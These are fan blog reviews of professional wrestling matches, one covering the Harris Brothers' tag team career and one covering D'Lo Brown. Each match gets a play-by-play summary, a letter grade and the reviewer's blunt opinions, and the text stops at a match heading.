Wrestler of the Day – August 23: Harris Brothers

Time for a double shot with the Harris Twins.

The team (Ron and Don) got started in the late 80s in Memphis. Here they are on the day after Christmas 1987.

Bruise Brothers vs. Rough N Ready

Rough N Ready are a pair of masked guys. It’s a brawl to start with we’ll say Ron dropkicking we’ll say Rough down and putting on an armbar. Off to Don as country music band Sawyer Brown is on commentary. Apparently they’re sponsoring the Bruise Brothers, whatever that means.

Don gets two on Rough via a suplex before it’s back to Ron. Rough takes him down with a headlock but gets caught in a headscissors. It’s so strange seeing the Harris Brothers wrestle like normal size guys (they stand about 6’9 each). Back to Don for more arm cranking before Ron comes in to backdrop Rough down. The masked guys go to the floor, only to come back in and get clotheslined down by Don. An abdominal stretch into a rollup of all things gets the pin for Don on Ready.

Rating: D. Other than seeing the Harris Brothers wrestling an entirely different style than I’ve ever seen them use, there was nothing to see here at all. This was a long squash which didn’t get interesting at all. It’s an interesting idea to have the monsters wrestle like guys a foot shorter than they are but it didn’t work in reality.

They would head to ECW for a few shots, including this one at some point in 1993.

Public Enemy vs. Bruise Brothers

This is falls count anywhere because it’s an ECW match. The Brothers still have long hair like they did as the Blu Brothers. The brawl quickly heads outside and into the crowd where the fans scatter. Rocco climbs a scaffold and dives onto let’s say Ron. Grunge picks up something to nail Don in the head and as usual you can barely see anything here.

They destroy a merchandise table before Don catches a diving Rocco in midair. The brawl continues with one of the twins hammering on both opponents at the same time. A table is set up against a wall but not used before they head back into the crowd. Grunge holds Don as Rocco goes up into a balcony, only to dive onto his partner by mistake, giving Ron the pin.

Rating: N/A. This wasn’t wrestling and I’m not sure what it was. They were just doing various things to each other without actually wrestling or having any continuity. It didn’t help that they were literally in the ring for ten seconds out of about ten minutes. Total waste of time but the ECW fans loved it of course.

It was off to the WWF after this with the brothers becoming mountain men called the Blu Brothers. Here’s one of their bigger matches at Wrestlemania XI.

Allied Powers vs. Blu Brothers

I don’t remember if Allied Powers was their official name but it’s Luger/British Bulldog. The Brothers are whatever name you best know the Harris Brothers by, which is most likely the DOA. The timing of this redo is perfect, as their manager is Uncle Zebekiah, who is currently Zeb Colter, manager of Jack Swagger. It’s a big brawl to start and the good guys hit stereo powerslams to take over. Bulldog and we’ll say Jacob (partner of Eli) start and there’s the delayed vertical after only a few seconds.

Off to a headlock by the Brit as Vince sounds like he’s in an auditorium for some reason. The Brothers take over with heel power moves and it’s off to Eli for a side slam. A double big boot from the twins puts Bulldog right back down but Bulldog starts firing off right hands. With the referee holding the Bulldog back, the Brothers pull a switch but they switch back just a few seconds later. That’s some high quality leadership there Zeb.

We’ll say Jacob takes too much time on a middle rope elbow so the British guy moves. Hot tag brings in Luger and house is cleaned. There’s a powerslam and the steel forearm smash gets two. Zebekiah interferes and the twins switch again, allowing Eli to kick out of the forearm which didn’t hit him. Not that it matters as British hits a sunset flip for the pin out of nowhere. Not that he was legal or anything but who cares?

Rating: C-. This match uh…..exists I guess. Seriously that’s all I’ve got here. It wasn’t a good match or anything but I’ve seen worse. That’s the problem here: it’s so average that it’s barely worth talking about. Luger would be gone in a few months back to WCW, which was the best move as he was doing stuff like this for the next six months or so. Nothing to see here at all and a really odd choice for a match and especially the opener.

With that gimmick not working, here’s another random idea from Superstars on October 6, 1996.

Jinx Brothers vs. Grimm Twins

The Harrises are the Twins and I’ll save their opponents for a surprise. They’re a pair of freaks in long red and green wigs and masks, making them look like…..I’m not sure what exactly. Angus (red) starts with Jared (Ron). Wildo comes in to help with a double dropkick but Jason (Don) comes in with a tilt-a-whirl powerslam. A side slam gets two and it’s back to Jared for some forearms and an armbar. Wildo goes up but dives into a powerslam for no cover. A HUGE double spinebuster plants Wildo for the pin. The Jinx Brothers would wind up being a lot more famous under their real names: Matt and Jeff Hardy.

The team would then become arguably their best known characters of Skull and 8-Ball as members of the Disciples of Apocalypse. Here’s one of their matches at Summerslam 1997.

Los Boricuas vs. Disciples of Apocalypse

This is the Puerto Rican gang vs. the bikers as GANG WARZ continue. Vince calls this an eight man tag because he doesn’t care enough about any of these guys. These guys feuded FOREVER and I don’t remember the bikers ever winning a match in the feud. Savio Vega and Crush are the respective leaders and the rest are pretty interchangeable other than Chainz being the only other biker with hair.

It’s a brawl to start of course and the bikers clear the ring. Skull starts with Jose and the big man throws him around with ease. Off to 8 Ball who hits a spinning sidewalk slam before bringing in Crush. Miguel comes in but walks into a tilt-a-whirl backbreaker for no cover. Back to Skull and 8 Ball (identical twins) to crush Miguel in the corner until Savio cheats to take over. All four Boricuas pound on Skull in the corner until the Nation of Domination (now with Ahmed Johnson) comes down to ringside, basically stopping the match cold.

Jesus hits a Fameasser on Skull to set up another four on one beatdown. We hit a chinlock but 8 Ball breaks it up to prevent further boredom. Skull finally gets over for the tag and everything breaks down. Chainz is sent to the floor and punches Ahmed who responds with a sitout powerbomb on the concrete, giving Miguel an easy pin in the ring.

Rating: D-. Oh man this was dull to sit through. Los Boricuas just weren’t interesting at all and other than Savio they easily could have been interchanged with one another. The bikers weren’t much better but at least you could remember which was which. I guess the idea here was to appeal to a wider fanbase but it didn’t do anything for me.

A Survivor Series match at Survivor Series 1997.

Truth Commission vs. Disciples of Apocalypse

Jackyl, Interrogator, Sniper, Recon
Crush, 8-Ball, Skull, Chainz

The Truth Commission is based on a real South African thing, where there were a lot of crimes were committed during Apartheid and the government said “tell the truth that you committed/witnessed these crimes and say you’re sorry.” Amazingly enough it calmed a lot of people down and made the situation a lot better. That being said, I have NO idea why it’s used as a wrestling gimmick. In short, they’re a military themed group. That sums them up as simply as I can.

Jackyl is the leader and is more famous as Cyrus in ECW. Interrogator is Kurrgan and the real star of the team. Sniper is a French Canadian wrestler who means nothing at all and Recon is Bull Buchanan. Crush is Crush, 8-Ball and Skull are big twins and Chainz is Brian Lee from ECW. This really doesn’t scream interesting to me but this is during the Gang Warz period which didn’t ever do anything for me.

Interrogator and Chainz start things off after a brawl with Chainz hammering away but having no visible effect. A sidewalk slam eliminates Chainz in about a minute. Off to Recon vs. 8-Ball with Recon hitting a World’s Strongest Slam for no cover. Jackyl comes in for what might be the only match he ever wrestled in WWF. Apparently that’s almost true as he only had some Shotgun Saturday Night matches other than this. He’s much better as a manager anyway.

Jackyl drops a top rope knee which is immediately no sold. He chops away a bit but walks into a sidewalk slam for the pin to make it 3-3. Sniper jumps 8-Ball and hits some elbows for two as Jackyl is on commentary now. Off to Crush, the leader of the team, who stomps away on Sniper a bit. Recon comes back in to face Skull and they collide, sending Skull to the floor. 8-Ball comes in illegally and clotheslines Recon down for the pin.

Sniper comes in to beat on Skull but gets caught in a double spinebuster from the twins for two. Interrogator hits 8-Ball from the apron and Sniper hits a bulldog for the elimination, making it 2-2. If this match sounds like a total mess that is hard to follow, it’s because that’s being nice about what’s going on.

Off to Crush for a figure four headscissors on Recon. Skull (I’m picking the names arbitrarily. It makes absolutely no difference at all and JR has no idea which is which anyway) DDTs Sniper but walks into a sidewalk slam from Interrogator for the pin. It’s Crush vs. Sniper and Interrogator and Crush immediately powerslams Sniper down for the pin. Interrogator is in the ring before the pin hits and ANOTHER FREAKING SIDEWALK SLAM gives Interrogator the final pin and the victory.

Rating: F. In ten minutes, we had seven eliminations, FOUR of which were by the SAME FREAKING MOVE. This was another match where just like the first, there was no one out there that could carry things to make the match work in any way. It makes Interrogator looks good, but it barely accomplished that because of how bad the match was.

Now for some two on two tags. From March 2, 1998 on Raw.

Tag Titles: Disciples of Apocalypse vs. New Age Outlaws

Skull and 8-Ball here. Big brawl to start of course and Billy’s neck brace is ripped off. 8-Ball and Road Dogg in the ring with a spinebuster for the canine. Everyone to the floor now as Billy gets a belt shot in to break the momentum. Cactus and Chainsaw Charlie pop out of the dumpster and the Outlaws run away for the count out after maybe a minute.

Another from May 18, 1998 on the same show.

Legion of Doom vs. Disciples of Apocalypse

Gah I hate this feud. No Sunny here who I think was gone for good now. It’s Chainz/Skull here so I don’t have to play guess which twin. Skull vs. Hawk to start. I don’t like Hawk having hair as it gets confusing. The DOA controls early on but Hawk hits a facejam on Skull to take over and he follows it with….my goodness an enziguri. Well not really as that means head kick and this was in the back but still, points for trying.

Off to Animal and everything breaks down. Animal powerbombs Skull for one as this is falling apart quickly. Hawk hits a middle rope splash for two as the tagging is being forgotten. 8-Ball comes in through the crowd and rolls Animal up for the surprise pin. They would have a regular tag at the PPV. This was short and not very good, which I think was intentional to show that the LOD were getting up there in years and couldn’t hang with these younger guys.

Here’s the PPV rematch from a few months later at In Your House XXIII.

LOD 2000 vs. Disciples of Apocalypse

The idea here is that Hawk is having “personal problems” which means he’s having bad drug addiction issues. Animal (in the shorts again) starts with Skull but 8-Ball quickly pulls him into the corner for a double team. Both Disciples drop elbows on Animal but it’s quickly off to Hawk who takes it to the floor. Skull takes a beating against the barricade before it’s back to Animal with the LOD hitting a Hart Attack of all things for a pair of two counts. Hawk hits his neckbreaker and brings in Animal again as Skull stays in trouble.

Skull finally low bridges Hawk to the floor where 8-Ball and Ellering can double team him. Ellering chokes away and gets in some stomps of his own, showing more aggression than he has in years. Back inside and 8-Ball hooks a chinlock before clotheslining Hawk into the DOA corner.

Ellering gets in even more shots and we hit the chinlock again to kill a bit more time. A backbreaker gets two for 8-Ball but Hawk comes back with a double clothesline to put both guys down. The hot tag brings in Animal to clean house and the Doomsday Device lays out Skull, only to have Ellering distract the referee. DOA switches, allowing 8-Ball to DDT Animal for the pin.

Rating: D. Egads these matches are getting harder and harder to sit through. This was similar to the Vader vs. Henry match with the similar styles being very hard to work around given the LOD’s advanced age. Ellering is a character that was also hard to use in the WWF as he barely worked there other than a few months in 1992, meaning the fans weren’t as invested in him. Another boring match though.

One last WWF match on Raw, September 21, 1998.

Southern Justice vs. Disciples of Apocalypse

8-Ball and Mark start things off with 8-Ball getting two off a legdrop. Off to Knight and Skull with Skull taking his head off with a clothesline. Sidewalk slam gets two. They head to the floor and here’s Jarrett with a guitar shot to Ellering. The match just kind of stops because that’s how wrestling worked in the Attitude Era.

After the bikers broke up, the twins would head over to WCW as corporate enforcers known as Creative Control. Here they are at Starrcade 1999.

Harlem Heat/Midnight vs. Creative Control/Curt Hennig

It’s a handicap match because Stevie is gone. Creative Control is a pair of big bald twins named Gerald and Patrick who have teamed for years under a variety of names. The winning team here become number one contenders to the tag belts. Booker and we’ll say Patrick start things off with Booker being shoved into the corner. Booker fights back with a spin kick to the head for two but the twins double team Booker by working on his ribs. Gerald gets taken down by a forearm and put in an armbar before it’s off to Midnight.

She stays on the arm but gets taken into the corner and pounded with some shoulders. Booker comes in very quickly but is tripped up by Patrick as the heels quickly take over. Curt comes in for all of five seconds before it’s back to Gerald who gets two off a big boot. Patrick comes in again and gets caught by an ax kick for two before Midnight gets another tag. Hennig comes in again and after ducking a leapfrog, decks Midnight in the back of the head to knock her to the floor.

Curt stays on Midnight as the fans simply don’t care. The announcers talk about the big deal that the Powers That be were talking about with Hudson asking what could be bigger than Disco Inferno being thrown in a car. Like I said, 1999 was very stupid. Stevie finally comes out but Booker tells him to leave, which Stevie does.

Patrick comes back in for a slam and a series of elbow drops. Booker makes the save as Stevie is still at ringside. Patrick misses a middle rope elbow drop and there’s the tag to Booker, but the referee is with Stevie. Booker cleans house but Curt hits him in the head with a foreign object, allowing Gerald to get the pin.

Rating: D. This is yet ANOTHER match that could have been on Nitro and had no business here at all. That’s the problem with almost everything so far: it’s either stupid or WAY too short to mean anything at all. Other than the opener, nothing has lasted more than nine minutes so far which makes it hard to get interested in anything.

The team would become the Bruise Brothers soon after this and get a Tag Team Title shot at Uncensored 2000.

Tag Titles: Mamalukes vs. Harris Brothers

The Harris Brothers are NWO here, in part of the final incarnation which was also the weakest probably. Vito kisses both his partner and the referee on the cheek. This is No DQ apparently. Disco Inferno is on commentary as our what, 4th guest commentator tonight? Vito vs. we’ll call that Ron while Madden and Disco banter back and forth. Powerslam by Johnny gets two. The teams are Ron/Don Harris vs. Johnny the Bull/Vito. That might clear some stuff up.

This is pretty weak to start as the styles are totally clashing. Back to Vito who gets a Japanese armdrag to take over. Disco is cracking me up here. The Mamalukes hit the H Bomb (Harrises’ finisher) on we’ll say Ron for two. Out to the floor as Johnny is in trouble. Spinwheel kick gets him out of that but Vito is drilled before the tag can be made. Well sure now: let’s talk about Crowbar some more. This is so freaking annoying anymore.

Yes, Vince didn’t stop the show for Owen. FREAKING GET OVER IT. I know that sounds bad, but there’s a HUGE difference between a real life accident and a scripted moment being used as a commentary on a real tragedy. Hot tag to Vito and some “Mafia” kicks clean house. Everything breaks down and Vito hits a top rope elbow for two. Modified Hart Attack gets the same. Double flapjack gets two on Johnny as the twins take over. Disco comes in for a belt shot for two. A belt shot to Vito sets up the H Bomb (kind of a double belly to back suplex) for the titles for the Brothers.

Rating: D. This was rather weak overall with the Brothers just doing their usual stuff. The Mamalukes were ok at best although I kind of liked Vito. They couldn’t get much going here and that was mainly due to the styles being too similar. The titles would be vacated anyway so again, all of this means nothing for the most part.

This was the showdown that no one was waiting for at Fall Brawl 2000.

Harris Brothers vs. Kronik

And there goes the quality of the show. This is first a chain match, as in they’re attached by a strap. The twins (Harris Brothers/Disciples of Apocolypse/Creative Control/Blu Brothers etc) cost Kronik the belts last month. Adams makes it a first blood match, because gimmicks added on for no apparent reason other than to keep an old guy from having to get pinned and therefore lose credibility TOTALLY RULE!

Dave Penzer, the announcer, gets knocked out like a minute in. We go out into the crowd and this is already a mess. As I’m typing this I can see the review of the previous match and it makes me sad. That and even the previous match were good. This is just annoying and is going to mean nothing at all in the end. Hudson talks about how brutal this is and how it’s going to be violent. We’re less than three minutes in and he’s right: it’s brutal.

One of the Harris guys works on Clark’s knee in a first blood match for reasons of general idiocy. We get choking, which even Tony calls out as stupid. And we have a ref bump in a gimmick match. One of the Harrises is bleeding but there’s no referee of course. The chain is undone and Hudson suggests he’s on his period instead of being busted open. END THIS. Yeah the blood is wiped off and Adams is bleeding when the referee gets back up so Kronik loses. Kronik beats up the referee to be faces.

Rating: F+. Well seven minutes have passed and nothing of note has changed. These two feuded forever and no one cared at all. We went from good stuff to this, which like I said shouldn’t surprise anyone. Get to the next thing.

Time for a Memphis reunion at Starrcade 2000.

Jeff Jarrett/Harris Brothers vs. Filthy Animals

The Animals are Konnan, Kidman and Mysterio and this is….wait for it…..wait for it……A HARDCORE MATCH! They call it a bunkhouse street fight but that means hardcore, again. Jarrett says this is a street fight AND a bunkhouse match. What does a bunkhouse match mean? It means there are weapons in the ring and you can wear jeans. This adds SO much to the match if you can’t tell. There’s a bar, bar stools and a popcorn machine in the ring. Again, why does this match a match more interesting? There are a bunch of other weapons around ringside too.

There’s pretty much no way to tell what’s going on in the match as it’s all over the place and a bunch of brawling with weapons. The Animals’ chick Tygress is on commentary so we get her annoying voice on top of everything else. The Animals destroy the bald Harris Brothers as Jarrett is shoved into the popcorn. Rey hits a Bronco Buster on one of the Brothers, making Tygress bark. Mysterio tries another one but gets caught with a boot between his legs to slow him down.

Jeff loads up a superplex on Kidman but Rey makes the save and Jarrett is slammed through the bar for two. The Animals take over and pound on the big guys for a bit with various weapon shots and double teaming. Rey hits his sitout bulldog on Jarrett but gets thrown in a dumpster to counter a rana attempt. Konnan gets back in to watch Kidman get hit in the head with a trashcan. Now for something completely different, all of a sudden you have to tag.

Kidman gets beaten down and a double big boot (ignore that one of them missed completely) takes his head off. One of the Harris Brothers tries a powerbomb but Kidman counters into a faceplant. Jarrett comes in with a sleeper but Kidman escapes and climbs the corner to take Jeff down with a bulldog. Off to Konnan who is almost immediately caught in an H Bomb by the Harrises (double powerbomb/belly to back suplex kind of move) to kill the momentum dead.

Another table is brought out (Madden: “HOW MANY TABLES ARE UNDER THAT RING???”) but here’s Rey with a broom to make the save. Rey dives at the Brothers but gets caught in another H Bomb through the tables. Kidman comes back in with a missile dropkick to Jarrett as the tagging is gone again. Billy hits a short powerbomb but tries the Shooting Star, only to have a bottle broken over his head. The Stroke from Jarrett (front legsweep) is enough for the pin.

Rating: D+. This actually wasn’t as bad as I was expecting, but that doesn’t mean it was good. This is a prime example of where a regular match would have done wonders for the show. It’s well past the point of being salvageable, but a twelve minute tag match would have been a very welcome breath of air. The problem is after all the brawling we’ve had so far, more brawling isn’t interesting. It’s just more of the same.

The brothers would mostly retire around this point and become security guards in TNA. They would make the occasional appearance there though, including this match at Destination X 2005.

Phi Delta Slam vs. Disciples of Destruction

The DOD are more commonly known as the Blu Brothers, Disciples of Apocalypse, Creative Control, Harris Brothers, Bruise Brothers, Harris Twins or Harris Boys. You get my point here? You might know the other two as the big guys in the Main Event Mafia that got beaten up a lot as security guards of the most elite wrestling force in TNA, which makes even less sense but whatever.

Oh and Trinity is sleeping with Dusty apparently. Give me a break. At least the girls look good. The best thing here is the entrance of Trinity who wears a robe and rips it off. Something tells me this is going to freaking SUCK. Well a minute in I’m right.

I think the mics are messing up a bit as you can hear the fans a lot more clearly than you usually would. The Harris Brothers are dominating here in case you care for some twisted and unclear reason. On the floor Don nails one of the fat guys with a chair. That looked pretty bad. They botch the heck out of something as it was supposed to be a double team move but it just didn’t happen at all.

There was one flaw with this match: no one wanted to watch it. That’s kind of a problem but whatever. Trinity actually looks pretty good. After a big mess (shocking isn’t it?) Trinity goes up and moonsaults to the floor. She hits Don with it and he literally doesn’t move. The visual was great as she hits her biggest move and gets NOTHING. He throws her into the crowd for fun I guess.

This is just freaking not interesting at all. That’s never a good sign at all. The fatter of the fat guys hits a top rope splash called the Hully Gully Splash. Just take me now. That leads to a switch so there we are. It allows for a big boot to end this crap with the Harris Brothers (or whatever they’re called) getting the pin.

Rating: F+. And that’s because the girls looked good. Traci did NOTHING here. Trinity was at least trying to be interesting but no one cared about the match or these teams or anything like that at all which is never a good thing. This was terrible to say the least as the styles clashed completely and it was just bad.

The Harris Brothers were as generic of a monster team as you could find but they found work for nearly twenty years due to being twins. There’s something cool about that and it made them unique enough to keep them employed. They were far better as enforcers than anything else and that’s not the worst job in the world.

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Wrestler of the Day – August 22: D’Lo Brown

You’re looking at the real deal now. It’s D’Lo Brown.

Brown would start under his real name (AC Conner) in 1994 and appeared on Superstars on September 2, 1995.

Henry Godwinn vs. AC Conner

Conner is a good deal bigger here than in his more famous days. Godwinn takes him down with a headlock before whipping him hard into the corner. A legdrop across the bottom rope has Conner in trouble but here’s Ted DiBiase for a distraction. Conner comes back with a splash in the corner but walks into the Slop Drop (reverse DDT) for the easy pin.

Brown would head to SMW for a good while before returning as part of the Nation of Domination. Here he is in a handicap match from In Your House XVIII.

Nation of Domination vs. Legion of Doom

This is a handicap match with Rocky Maivia, Kama Mustafa (a martial artist/street fighter) and D’Lo Brown (a large guy who could move faster than most people his size) representing the Nation. Ken Shamrock was supposed to team up with the Legion of Doom but was injured, leaving them without a partner. Hawk and Brown get us going with D’Lo actually staggering him off a shoulder block.

Back up and a boot to the face sends Brown into the Nation corner for the tag off to Rocky. Animal comes in as well and the Rocky Sucks chants immediately begin. The Nation has a meeting on the floor until Rocky comes back in, only to be taken down by a dropkick. Animal cranks on the arm a bit before tagging out to Hawk for a headlock. Rocky drives him into the corner for the tag off to Kama. The power guys slug it out until a double clothesline is no sold all around.

Hawk actually busts out an enziguri to take Kama down and we hit a chinlock. Back to Animal for a powerslam but Rocky sneaks in with a DDT to put him down. The distraction lets the Nation take Animal to the floor for a triple team before it’s off to D’Lo to pound away at the ribs. Animal comes back with a clothesline out of the corner but Brown breaks up another tag attempt. The Nation breaks up another hot tag attempt though and it’s off to Rocky for a chinlock.

Maivia draws Hawk in again due to Hawk not being the brightest guy in the world, allowing for a low blow to Animal for two. Back to Kama for a spinning kick to the ribs but Animal avoids a charge into the corner. The hot tag brings in Hawk but the referee didn’t see it, allowing Brown to hit a frog splash on Animal for two.

Animal gets up again and forearms Rocky down, allowing for the seen hot tag to Hawk. Everything breaks down with the LOD taking over. A pair of running clotheslines look to set Rocky up for the Doomsday Device but Faarooq comes out for a distraction, allowing Kama to kick Hawk into the still yet to be named Rock Bottom for the pin.

Rating: C+. I liked this much better than I expected to. The LOD was rapidly approaching their expiration date at this point but they looked good enough out there. Rocky clearly had something special, but the character joining the Nation was the best possible option for him, as he got to show some character instead of boring everyone to death as the happy go lucky guy.

Followed by a Survivor Series match at the 1997 show.

Team Legion of Doom vs. Nation of Domination

Legion of Doom, Ken Shamrock, Ahmed Johnson
Farrooq, The Rock, Kama Mustafa, D’Lo Brown

The LOD and company talk about being ready for war. The LOD are tag champions. Hawk and Brown start with D’Lo bouncing off Hawk. Hawk no sells a piledriver as is his custom and a neckbreaker puts Brown down. Off to Rocky who gets knocked around but someone hits Hawk in the back and the yet to be named Rock Bottom eliminates Bird Man.

Off to Ahmed who “hits” a jumping back elbow to take Rock down. Kama, a freaking monster who would become a pimp named Godfather, is in next and takes Johnson down with one shot. Farrooq is in next to work on Ahmed’s ribs and continue a feud that went on for like a year. Brown whips Ahmed with a belt which the referee somehow doesn’t hear. Farrooq loads up the Dominator but Johnson escapes (while falling down) and hits a Pearl River Plunge (Tiger Driver) for the elimination.

Brown comes in again and hits a quick Low Down for no cover. Johnson starts no selling and hits a sitout gordbuster. Farrooq is still at ringside. Rock comes in but walks into a spinebuster. Ahmed hits the ropes but Farrooq trips him up and holds the foot so Rocky can get the pin. It’s Animal/Shamrock vs. Brown/Rocky/Kama at the moment. Animal comes in to face Rocky but it’s quickly off to Shamrock. Ken is still somewhat new here so his style still looks fresh.

A big dropkick puts Rocky down and it’s off to Kama. After getting beaten around for a bit, Kama puts on a front facelock to slow things down. A double clothesline puts both guys down but not for long. Some LOUD noise freaks everyone out and JR and King don’t know what it was either. Anyway Animal gets two off a legdrop but gets kicked in the face for his efforts. Kama showboats a bit too much though and Animal dropkicks him in the back and gets a rollup for the pin.

Brown comes in and during the distraction, Rocky hits Shamrock low for two. D’Lo hooks a chinlock followed by a backbreaker, but his moonsault misses by about two feet. The Outlaws come out while wearing the stolen LOD shoulder pads, and we’ve got powder and a shoved referee. Animal gets counted out during this mess, leaving us with Brown/Rock vs. Shamrock.

JR talks about how many people Shamrock has made tap out. Jerry: “This is wrestling. You don’t win by making people tap out.” JR: “…….YEAH YOU DO!” Brown starts but it’s both Nation members in there at once. Shamrock runs them both over, suplexes Brown and gets the submission via ankle lock. Rock cracks Ken in the back with a chair shot but it only gets two. Rock hits his spinning DDT for two as does the People’s Elbow (not a thing yet). Ken comes back with a northern lights suplex and a standing hurricanrana. There’s the ankle lock and Rocky is done.

Rating: C. This was a little messy but it pushed Shamrock hard while the heat for Rocky was INSANE. The crowd hated him and Vince certainly took notice. Both of these guys would get huge pushes in the next year with Rock winning the title at next year’s Survivor Series. The LOD were in their very last run of note here and they didn’t go out well after that. Fun match here although not great from a technical standpoint at all.

The Nation’s feud with Ken Shamrock would continue at In Your House XX.

Nation of Domination vs. Ken Shamrock/Ahmed Johnson/Disciples of Apocalypse

This is a ten man tag with the Nation comprised of Faarooq, Rock, Kama, D’Lo Brown and the now heel Mark Henry. The match has been billed as a war of attrition which would imply survival and elimination rules, but this is one fall to a finish. Skull starts with D’Lo and Brown goes to the eyes for an early advantage. An atomic drop slows D’Lo down though and it’s off to Shamrock for a back elbow to the jaw. A double tag brings in Kama and Chainz with Mustafa pounding away in the corner.

Some quick elbows have Kama in trouble so he tags off to Mark for some raw power. Henry wants Ahmed though and the fans till care about Johnson at this point. Johnson wins a slugout and slams Henry down, only to have the Nation come in with some cheap shots to take over. D’Lo hits a spinebuster to put Ahmed down and a long distance frog splash gets no cover. Instead it’s off to Faarooq who walks into a spinebuster from Ahmed but Rock breaks up the Pearl River Plunge.

8-Ball gets the tag and powerslams Faarooq down for two as the good guys start speeding things up. It’s off to Rock vs. Shamrock which is one of the matchups that people have wanted to see. Rock scores with a quick DDT and stomps away in the corner before bringing in Kama to miss a charge. Skull and 8-Ball take turns on Kama as we get some o the original twin magic. Kama will have none of that though and takes Skull into the Nation corner for a beating.

Rock comes in with the yet to be named People’s Elbow for two and it’s back to Faarooq to punch Skull in the jaw a few times. Skull comes back with a faceplant but Rock breaks up a hot tag attempt. Henry comes in to pound on Skull for about ten seconds before it’s back to Kama for a chinlock. D’Lo gets a tag but misses a moonsault, finally allowing for the hot tag off to Shamrock. Everything breaks down and the ring is cleared except for Shamrock to ankle lock the Rock for the win.

Rating: C-. It’s not a great match or anything and the elimination rules would have helped things a lot, but it was certainly better than some of the other stuff tonight. Above all else though the fans CARED about this. It wasn’t some dull filler match that was there to make sure a card was complete but rather a match with characters and a story we’ve been given reason to care about. That’s a big step up from a lot of this show.

And it continued still at In Your House XXI.

Nation of Domination vs. Faarooq/Ken Shamrock/Steve Blackman

Rock has officially taken over the Nation after kicking Faarooq off the team. The non-Nation team does the Nation salute just to tick them off. Tonight the Nation is Rock/Henry/Brown. The fans are already all over Rock about five seconds after the bell. Brown grabs Blackman’s (a rather generic martial artist) arm to start things off and they trade shoulder blocks until Brown hooks a snap suplex. Blackman comes right back with a dropkick and an armdrag into an armbar.

It’s off to Shamrock to stay on the arm but the ankle lock is escaped via the ropes. Faarooq hesitantly comes in but Brown asks for mercy. Instead he gets a whipping with Faarooq’s belt and a snap suplex from Blackman. Back to the armbar but Brown gets away to tag Henry. That lasts about five seconds before it’s back to Brown who walks into a cross body for two. Back to Faarooq who is easily taken down before it’s back to Rock for the cheap shots he’s been looking for.

Henry comes back in and drops some elbows for a somewhat delayed two count, allowing Faarooq to pound away and make a tag off to Blackman. Henry runs Steve over but takes his time covering again. Back to Brown for a middle rope elbow and a standing one to the jaw for two. Rock comes in and stomps away in the corner while talking a lot of trash.

The still yet to be named People’s Elbow gets two and you can see the crowd really starting to react to it. Rock hooks a chinlock and it’s back to Brown for some trash talk and a backbreaker. D’Lo misses a moonsault and Steve makes the hot tag off to Faarooq. The Nation’s house is cleaned and everything breaks down with Faarooq hitting the Dominator out of nowhere to pin Rock.

Rating: D+. This didn’t do much for me. The match wasn’t horrible but the crowd didn’t really react to it very strongly and the ending didn’t work nearly as well as it was supposed to. Faarooq getting some revenge on Rock is a good idea but when the fans seem to like Rock more than Faarooq, it’s not the best move.

The next feud would be against DX, including this match on Raw, July 20, 1998.

European Title: D’Lo Brown vs. HHH

Brown takes over early on but HHH takes him down with a quick clothesline. Rock is watching from ringside. Trips ducks his head and takes a kick to the face. Pedigree is countered but HHH clotheslines Brown to the outside. He gets in Chyna’s face and has his blocked knocked off. Back in D’Lo takes over for a few moments but HHH hits the jumping knee to the face to take over. Suplex by the Game looks to set up the knee drop but Rock trips Trips. Chyna takes care of Rock as HHH hits a powerslam. Henry comes out and Chyna meets him with a chair. Rock comes in with a Rock Bottom and D’Lo wins the title.

Rating: C-. Quick story about this match. This show was taped on the 14th. Sometime over the weekend I went to a house show where Brown was already acknowledged as champion. Based on that, I already knew that HHH was going to lose the title when this show aired. That’s probably my first experience with a spoiler. The match was nothing of note at all but it advanced the DX vs. Nation feud.

Brown would defend his title at Summerslam 1998.

European Title: Val Venis vs. D’Lo Brown

Brown is defending and there’s no story to this that I remember. It has a sixty minute time limit, just in case the lower midcard title match in the opening slot pushes going Broadway. Since we’re in MSG we have the old school set with the entrance opposite the cameras instead of off to one side. This is Venis’ first title shot and D’Lo is doing a gimmick where he’s from a different European city each time with tonight being Helsinki. He’s also part of the Nation of Domination here but only has his chest protector for an advantage here.

Brown shoves him into the ropes to start and they slap hands. The champion also slaps Val’s face to tick him off as JR tells us about Austin destroying a hearse which may have had Undertaker or Kane inside. Brown hits a standing splash with the chest protector for added impact to take over. A splash misses in the corner though and Venis takes over with a Russian legsweep. After a quick breather on the floor, Brown comes back in to run the ropes but he gets caught in a spinebuster. A newcomer named Edge is watching in the crowd.

Venis misses a splash and gets caught in a belly to back suplex to give Brown control again. Val comes back with an overhead t-bone suplex but walks into a clothesline followed by a legdrop for two. A leg lariat and a middle rope elbow gets the same and Val is holding his back for some reason. Brown follows up on the injury with a Texas Cloverleaf but lets it go after only a few seconds. Did he learn submissions from No Mercy? Brown misses a middle rope senton and both guys are down. The fans are much more into this than you would expect them to be.

Val hits some running knees to the ribs and a backdrop for no cover. He tries a high cross body but gets caught in a Sky High (lifting powerbomb) which gets a delayed two count. Brown hits a quick DDT but dives off the middle rope into a powerslam for two. A butterfly suplex sets up the Money Shot (top rope splash) but Brown gets his knees up.

The fans LOUDLY chant for D’Lo but he can’t get Val all the way up for a powerbomb. Another try is good for a running Liger Bomb but the Low Down frog splash misses. Val finally rips off the chest protector and puts it on himself before going up top. The referee tries to pull him down and crotches him, earning a toss from Val for the DQ.

Rating: C+. I was digging this until the lame ending. The problem here was the match built up over fifteen minutes and then hit a brick wall with a referee crotching a guy on the top and then complaining that the guy was hurt. That’s not a satisfactory ending to a match with that long of a build, but at least the build was good.

Brown would lose the title to X-Pac but had a rematch on Raw, October 5, 1998.

European Title: X-Pac vs. D’Lo Brown

Pac is defending and he’s coming out before JR can even welcome us to the show. Brown charges right into a spin kick but he comes back with a powerslam. Legdrop hits Pac and a leg lariat gets two. Off to the chinlock and Brown yells at the crowd. He always was good at that. Someone serves Chyna with papers and Henry is smiling.

The champ fights out of the hold and hits a belly to back suplex. His elbow misses and Brown hits one of his own off the middle rope for two. Side slam gets the same. The Low Down misses and it’s slugout time. Pac speeds things up and hits the Bronco Buster, but Henry trips him up and rams Pac’s back into the post. That and the Low Down gives us a new champion.

Rating: C-. Not bad here but it was more about building up the DX problems as Chyna didn’t help Pac out for no apparent reason. Brown would hold onto the title for awhile until the title fell into obscurity. You know, as in more than it already was at this point. I’ve always been a fan of Brown’s work so I can’t complain much here. Decent opener.

Brown and Henry would split from the Nation and form a tag team of their own, including this match at In Your House XXVI.

Supply and Demand vs. Mark Henry/D’Lo Brown

